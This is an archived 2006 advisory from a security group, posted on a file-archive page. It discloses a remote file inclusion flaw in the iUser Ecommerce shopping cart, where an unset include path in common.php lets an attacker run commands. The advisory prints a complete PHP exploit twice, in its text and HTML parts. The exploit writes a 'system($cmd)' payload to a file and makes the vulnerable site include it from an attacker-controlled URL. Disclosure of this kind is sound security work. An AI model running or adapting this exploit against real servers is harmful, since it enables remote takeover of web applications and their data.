XOR-iUser.txt

XOR-iUser.txt: Posted Feb 20, 2006; Authored by Scott Dewey | Site xorcrew.net; XOR Crew :: Security Advisory - iUser Ecommerce - Remote Command Execution Vulnerability. POC exploit included.; tags | exploit, remote; SHA-256 | 715dcda6cf0846eb7a63e03f09ac8eb64ace6ef2386ae5ba8cb0e518d176494b; Download | Favorite | View
XOR-iUser.txt

------=_Part_3521_19317884.1140054596440
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
XOR Crew :: Security Advisory                                        =20
       1/10/2006
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
iUser Ecommerce - Remote Command Execution Vulnerability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
http://www.xorcrew.net/
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

:: Summary

      Vendor       :  Intensive Point
      Vendor Site  :  http://www.intensivepoint.com/
       Product(s)   :  iUser Ecommerce - shopping cart for digital products
      Version(s)   :  All
      Severity     :  Medium/High
      Impact       :  Remote Command Execution
      Release Date :  1/10/2006
       Credits      :  ReZEN (rezen (a) xorcrew (.) net)

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

I. Description

The iUser digital products shopping cart system has a broad range of
features, giving
you an incredible amount of flexibility, while remaining secure, easy
to implement and
administer. There is simply no other comparable shopping cart solution
specializing in
software downloads distribution available on the market at this price!

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

II. Synopsis

There is a remote file inclusion vulnerability that allows for remote
command execution
in the common.php file.  The bug is here on lines 28, 29, and 32:

// Load iuser configuration files
@require($include_path . "setup.php");
@require($include_path . "config.php");

// Load misc functions
require($include_path . "util.php");

the $include_path variable is not set prior to being used in the
require() function.
The vendor has been contacted and the issue has been resolved.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Exploit code:

-----BEGIN-----

<?php

/*
iUser Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN
*/

$cmd =3D $_POST["cmd"];
$turl =3D $_POST["turl"];
$hurl =3D $_POST["hurl"];

$form=3D "<form method=3D\"post\" action=3D\"".$PHP_SELF."\">"
     ."turl:<br><input type=3D\"text\" name=3D\"turl\" size=3D\"90\"
value=3D\"".$turl."\"><br>"
    ."hurl:<br><input type=3D\"text\" name=3D\"hurl\" size=3D\"90\"
value=3D\"".$hurl."\"><br>"
     ."cmd:<br><input type=3D\"text\" name=3D\"cmd\" size=3D\"90\"
value=3D\"".$cmd."\"><br>"
    ."<input type=3D\"submit\" value=3D\"Submit\" name=3D\"submit\">"
    ."</form><HR WIDTH=3D\"650\" ALIGN=3D\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file =3D fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"".$cmd."\"); ?>");
fclose($file);

$file =3D fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
     $line =3D fgets ($file, 1024);
    echo $line."<br>";
    }

}
?>

------END------

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

------=_Part_3521_19317884.1140054596440
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<pre>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>XOR Crew :: Security Advisory=
                                                 1/10/2006<br>=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D
<br>iUser Ecommerce - Remote Command Execution Vulnerability<br>=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><a href=3D"http://www.xorcrew.net/">http://w=
ww.xorcrew.net/</a><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<br><br>:: Summary<br><br>      Vendor       :  Intensive Point<br>      Ve=
ndor Site  :  <a href=3D"http://www.intensivepoint.com/">http://www.intensi=
vepoint.com/</a><br>       Product(s)   :  iUser Ecommerce - shopping cart =
for digital products
<br>      Version(s)   :  All<br>      Severity     :  Medium/High<br>     =
 Impact       :  Remote Command Execution<br>      Release Date :  1/10/200=
6<br>       Credits      :  ReZEN (rezen (a) xorcrew (.) net)<br><br>=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<br><br>I. Description<br><br>The iUser digital products shopping cart syst=
em has a broad range of features, giving<br>you an incredible amount of fle=
xibility, while remaining secure, easy to implement and<br>administer. Ther=
e is simply no other comparable shopping cart solution specializing in
<br>software downloads distribution available on the market at this price!<=
br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>II. Synopsis<br><br>Th=
ere is a remote file inclusion vulnerability that allows for remote command=
 execution
<br>in the common.php file.  The bug is here on lines 28, 29, and 32: <br><=
br>// Load iuser configuration files<br>@require($include_path . "setu=
p.php");<br>@require($include_path . "config.php");<br><br>
// Load misc functions<br>require($include_path . "util.php"); <b=
r><br>the $include_path variable is not set prior to being used in the requ=
ire() function.<br>The vendor has been contacted and the issue has been res=
olved.
<br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>Exploit code:<br><br>-=
----BEGIN-----<br><br><?php<br><br>/*<br>iUser Remote File Inclusion Exp=
loit c0ded by ReZEN<br>
Sh0uts: <a href=3D"http://xorcrew.net">xorcrew.net</a>, ajax, gml, #subterr=
ain, My gf<br>url:  <a href=3D"http://www.xorcrew.net/ReZEN">http://www.xor=
crew.net/ReZEN</a><br>*/<br><br>$cmd =3D $_POST["cmd"];<br>$turl =
=3D $_POST["turl"];
<br>$hurl =3D $_POST["hurl"];<br><br>$form=3D "<form meth=
od=3D\"post\" action=3D\"".$PHP_SELF."\">&=
quot;<br>     ."turl:<br><input type=3D\"text\" nam=
e=3D\"turl\" size=3D\"90\" value=3D\"".$turl.=
"\"><br>"
<br>    ."hurl:<br><input type=3D\"text\" name=3D\&=
quot;hurl\" size=3D\"90\" value=3D\"".$hurl."=
\"><br>"<br>     ."cmd:<br><input type=3D\=
"text\" name=3D\"cmd\" size=3D\"90\" value=3D=
\"".$cmd."\"><br>"
<br>    ."<input type=3D\"submit\" value=3D\"Submit\=
" name=3D\"submit\">"<br>    ."</form>&lt=
;HR WIDTH=3D\"650\" ALIGN=3D\"LEFT\">";<br><br>=
if (!isset($_POST['submit']))=20
<br>{<br><br>echo $form;<br><br>}else{<br><br>$file =3D fopen ("test.t=
xt", "w+");<br><br>fwrite($file, "<?php system(\&quo=
t;".$cmd."\"); ?>");<br>fclose($file);<br><br>$file =
=3D fopen ($turl.$hurl, "r");
<br>if (!$file) {<br>    echo "<p>Unable to get output.\n";=
<br>    exit;<br>}<br><br>echo $form;<br><br>while (!feof ($file)) {<br>   =
  $line =3D fgets ($file, 1024);<br>    echo $line."<br>";
<br>    }<br><br>}<br>?><br><br>------END------<br><br>=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D<br><br>IV. Greets :><br><br>All of xor, Infinity, =
stokhli, ajax, gml, cijfer, my beautiful girlfriend.
<br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</pre>

------=_Part_3521_19317884.1140054596440--
Top Authors In Last 30 Days

Red Hat 144 files
Ubuntu 111 files
Debian 18 files
Rafael Pedrero 11 files
LiquidWorm 10 files
Google Security Research 10 files
Apple 9 files
Abdulhakim Oner 8 files
nu11secur1ty 8 files
Hubert Wojciechowski 6 files
File Archives

Systems

AIX (426)
Apple (1,960)
BSD (370)
CentOS (56)
Cisco (1,919)
Debian (6,714)
Fedora (1,691)
FreeBSD (1,242)
Gentoo (4,288)
HPUX (878)
iOS (340)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (45,130)
Mac OS X (684)
Mandriva (3,105)
NetBSD (256)
OpenBSD (482)
RedHat (12,923)
Slackware (941)
Solaris (1,609)
SUSE (1,444)
Ubuntu (8,448)
UNIX (9,208)
UnixWare (185)
Windows (6,532)
Other
XOR-iUser.txt

XOR-iUser.txt

File Archive:

March 2023

Top Authors In Last 30 Days

File Tags

File Archives

Systems

XOR-iUser.txt

Share This

XOR-iUser.txt

File Archive:

March 2023

Top Authors In Last 30 Days

File Tags

File Archives

Systems
